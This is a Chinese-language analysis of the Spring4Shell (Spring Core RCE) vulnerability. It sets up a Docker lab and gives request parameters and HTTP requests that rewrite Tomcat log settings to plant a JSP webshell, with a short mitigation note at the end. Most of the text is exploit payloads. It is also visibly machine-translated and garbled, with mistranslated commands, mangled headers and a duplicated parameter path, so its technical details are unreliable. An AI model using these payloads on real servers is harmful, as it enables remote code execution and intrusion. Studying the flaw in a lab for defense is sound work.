Spring beans RCE 漏洞分析
1 影响范围
JDK 9及以上弹簧框架和派生框架弹簧式- *。jar file或cachedintrospectionresults.classs.class
2 漏洞复现
2.1 环境搭建
本文使用Spring-Core-RCE-2022-03-29 Docker Image,启动图像:1
Docker Run -name Springrce -P 8090:8080 -D vulfocus/spring-core-rce-2022-03-29
2.2 漏洞原理
直接修改tomcat的日志配置,您可以将JSP文件写入WebApp/root以实现命令执行的目的,这类似于使用S2-020。首先,将以下数据包发送到目标:
1
2
3
4
5
6
7
8
#将文件后缀设置为.jsp
class.module.classloader.resources.context.parent.pipeline.first.suffix=.jsp
#将文件前缀设置为shell
class.module.classloader.resources.context.parent.pipeline.first.prefix=shell
#将日志文件的路径设置为WebApp/Path,并且只有此文件下的JSP文件将被解析。本文以扎根为例
class.module.classloader.resources.context.parent.pipeline.first.directory=webapp/root
其次,设置日志的模式和归档图。这里的模式具有某些格式限制。根据Tomcat对访问记录的官方定义,该项目的价值可以是:共同和合并,其中常见的具体定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%a-远程IP地址。另请参见下面的%{xxx} a。
%a-本地IP地址
%b-发送的字节,不包括http标头,或“ - ”
%b-发送的字节,不包括HTTP标题
%H-远程主机名(或IP地址,如果连接器的启用词是错误的)
%h-请求协议
%l-来自识别的远程逻辑用户名(始终返回' - ')
%M-请求方法(获取,发布等)
%p-收到此请求的本地端口。另请参见下面的%{xxx} p。
%Q-查询字符串(如果存在,则用'?'预先)
%r-请求的第一行(方法和请求URI)
响应的%S -HTTP状态代码
%S-用户会话ID
%t-日期和时间,以通用日志格式
%u-经过身份验证的远程用户(如果有),否则' - '(如果需要,则逃脱)
%u-请求的URL路径
%v-本地服务器名称
%d-在MILLIS中处理请求所花费的时间。 httpd%d中的Note:是微秒。行为将与Tomcat 10中的HTTPD保持一致。
%t-在几秒钟内处理请求的时间。 Note:此值具有百万个第二分辨率,而在HTTPD中,它具有第二分辨率。行为将与Tomcat 10的HTTPD保持一致。
%f-在一百万秒内花费的时间
%i-当前请求线程名称(可以稍后与stackTraces进行比较)
合并的具体定义如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
%{xxx}写远程地址(client)(xxx==远程)或连接等地址(xxx=peer)
%{xxx} i用名称xxx编写输入标头的值(如果需要,则逃脱)
%{xxx} o用名称xxx写出外向标头的值(如果需要,则逃脱)
%{xxx} c用名称xxx的cookie写入值(如果需要,则逃脱)
%{xxx} r写入名称xxx的ServletRequest属性的值
%{xxx} s用名称xxx的httpsession属性的写入值(如果需要,则逃脱)
%{xxx} p写下local(server)端口(xxx==local)或远程(客户端)端口(xxx=远程)
%{xxx} t使用增强的SimpleDateFormat模式xxx在请求末尾写入时间戳
本文编写Webshell的解决方案是选择相关格式字符。
由于编写句子网络时需要一些特殊字符

简而言之,有必要避免直接写入百分比。以下是尝试三种定义模式的方法。
2.2.1 从 header 中读取
从上述情况下,我们可以看到%{xxx} c项目的功能是:要从HTTP Cookie读取XXX项目并将其写入日志文件。因此,数据包被定义为:1
2
class.module.classloader.resources.context.parent.pipeline.first.filedateformat=1
class.module.classloader.resources.context.parent.pipeline.first.pattern=%25%7BCMD%7DC
最终的HTTP请求是:
1
2
3
4
5
6
7
get /?class.module.classloader.resources.context.parent.pipeline.first.pattern=; pattern=%25%7BCMD%7DC HTTP /1.1
HOST: IP

Accept: Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/application/nabiped-exchange; v=b3; q=0.9
Accept-incoding: Gzip,放气
Accept-Language: ZH-CN,ZH; Q=0.9,en; q=0.8
cookie:记住- 我=ywrtaw46mty0otixmze4odqymtpmyzjizta2nwmyyzflogqwotuzmwjkogqxzzmzmmzmmq1yg; cmd=%out.println(11223344);%
连接:关闭

自从;是cookie的定界符,书面内容被截断了。 (我不知道哪个主人有解决方案,所以我可以分享):%out.println(11223344)
2.2.2 从 header 中读取
从上述内容中,我们可以看到%{xxx} i的功能是:要从HTTP标头读取XXX项目并将其写入日志文件。因此,数据包被定义为:1
2
class.module.classloader.resources.context.parent.pipeline.first.filedateformat=2
class.module.classloader.resources.context.parent.pipeline.first.pattern=%25%7BCMD%7Di
最终的HTTP请求是:
1
2
3
4
5
6
7
8
get /?class.module.classloader.resources.context.parent.pipeline.first.pattern=%25%25%7BCMD%7DI HTTP /1.1
HOST: IP

cmd:%out.println('11223344');%
Accept: Text/HTML,Application/XHTML+XML,Application/XML; Q=0.9,Image/avif,Image/WebP,Image/apng,/; q=0.8,application/application/application/nabiped-exchange; v=b3; q=0.9
Accept-incoding: Gzip,放气
Accept-Language: ZH-CN,ZH; Q=0.9,en; q=0.8
cookie:记住- 我=ywrtaw46mty0otixmze4odqymtpmyzjizta2nwmyyzflogqwotuzmwjkogqxzzmzmmzmmzmzmzymq1yg
连接:关闭


2.2.3 直接配置 pattern
当我测试上述两种方法时,我发现“引号将被逃脱为\',它具有某些缺陷。另外,如上所述,%{xxx} t项目的功能是:要定义log中的时间戳以简单的格式格式,例如:您可以看到%可以正常输出。

因此,数据包被定义为:%{%} t,因此可以将%写入日志文件。
1
2
class.module.classloader.resources.context.parent.pipeline.first.filedateformat=3
class.module.classloader.resources.context.parent.pipeline.pipeline.first.pattern=%3C%25%7B%25%7DTOUT.PRINTLN(%22POC%20 -test%22)%3B%3B%3B%25%7B%7B%25%7DT%3E

查看文件:

3 临时修复方案
类规则过滤。,类。,.class。,*.class。全局搜索@InitBinder注释确定该方法正文中是否存在databinder.setdisloweredfields方法。
如果使用,将其添加到原始黑名单中: